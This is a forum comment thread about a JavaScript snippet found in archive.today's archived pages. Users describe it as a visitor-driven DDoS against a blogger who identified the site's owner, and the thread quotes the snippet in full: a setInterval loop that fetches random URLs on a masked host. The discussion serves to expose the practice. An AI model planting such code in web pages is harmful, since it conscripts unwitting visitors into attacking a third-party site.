Uhhh yeah that’s already been known about for a while. It targets the blog of a guy who documented the identity of the owner of archive today.
Comment on Switzerland Says It’s Halting Weapons Exports Licenses to US, Citing Neutrality
A_norny_mousse@piefed.zip 20 hours ago
I just found this code in the archived page:
setInterval(function(){fetch("https://XXXXXXXX.com/tag/"+Math.random().toString(36).substring(2,3+Math.random()*8)+"/",{ referrerPolicy:"no-referrer",mode:"no-cors" });},3000000);
That’s a DDOS attack. WTF?
FortifiedAttack@hexbear.net 19 hours ago
hikaru755@lemmy.world 18 hours ago
Not a very effective DDOS if a single request is sent every 3000 seconds
aqwxcvbnji@hexbear.net 18 hours ago
Do you mean that site is doing an automatic DDOS attack on the people who visit it?
A_norny_mousse@piefed.zip 14 hours ago
That’s javascript executed on your computer. Every time you visit archive.{today,ph,is,md,fo,li,vn} you contribute to a DDOS attack against one particular site.
Sepia@mander.xyz 16 hours ago
I don’t know whether this is related, but Wikipedia has been blacklisting Archive.today after the controversial archive site was used to direct a distributed denial of service (DDoS) attack against a blog.
web.archive.org/…/wikipedia-bans-archive-today-af…
A_norny_mousse@piefed.zip 14 hours ago
And altering archived pages to further discredit the target of the DDOS attack!
Sepia@mander.xyz 13 hours ago
I don’t use Archive Today anymore over this, but I don’t know of a good replacement as the Web Archive doesn’t work on all sites as you will know. Any advice is welcome.
WeirdGoesPro@lemmy.dbzer0.com 11 hours ago
archive.is